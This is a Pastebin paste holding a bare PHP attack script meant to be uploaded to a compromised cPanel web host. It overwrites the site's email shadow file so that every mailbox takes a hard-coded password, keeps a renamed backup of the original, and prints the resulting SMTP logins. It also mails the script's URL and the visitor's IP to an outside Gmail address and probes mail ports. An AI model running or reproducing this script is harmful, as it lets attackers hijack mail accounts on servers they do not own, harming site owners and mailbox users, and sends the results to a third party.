Advertisement
Guest User

Untitled

a guest
Dec 5th, 2018
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1.  
  2. <?php set_time_limit(0);
  3. ini_set('max_execution_time',0);
  4. ini_set('memory_limit',-1);
  5. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  6. $primary_port='25';
  7. $user=get_current_user();
  8. $ip = getenv("REMOTE_ADDR");
  9. $hostname = gethostbyaddr($ip);
  10. $bilsmg = "Link Smtp : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
  11. $bilsnd ="emailkamu@gmail.com";
  12. $bilsub = "New Smtp Uploaded !! $ip";
  13. $bilhead = "From: SMTP";
  14. $bilhead .= $_POST['eMailAdd']."\n";
  15. $bilhead .= "MIME-Version: 1.0\n";
  16. $arr=array($bilsnd, $IP);
  17. foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);
  18. $password='Sankess*+.';
  19. $pwd = crypt($password,'$6$roottn$');
  20. $t = $_SERVER['SERVER_NAME'];
  21. $t = @str_replace("www.","",$t);
  22. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  23. $ex=explode("\r\n",$passwd);
  24. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
  25. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  26. foreach($ex as $ex){ $ex=explode(':',$ex);
  27. $e= $ex[0];
  28. if ($e){ $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');
  29. fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");
  30. fclose($b);
  31. echo '<span style=\'color:#00ff00;
  32. \'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';
  33. "</center>";
  34. }} foreach ($ports as $port) { $connection = @fsockopen($t, $port, $errno, $errstr, 2);
  35. if (is_resource($connection)) { echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
  36. fclose($connection);
  37. } }
  38. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement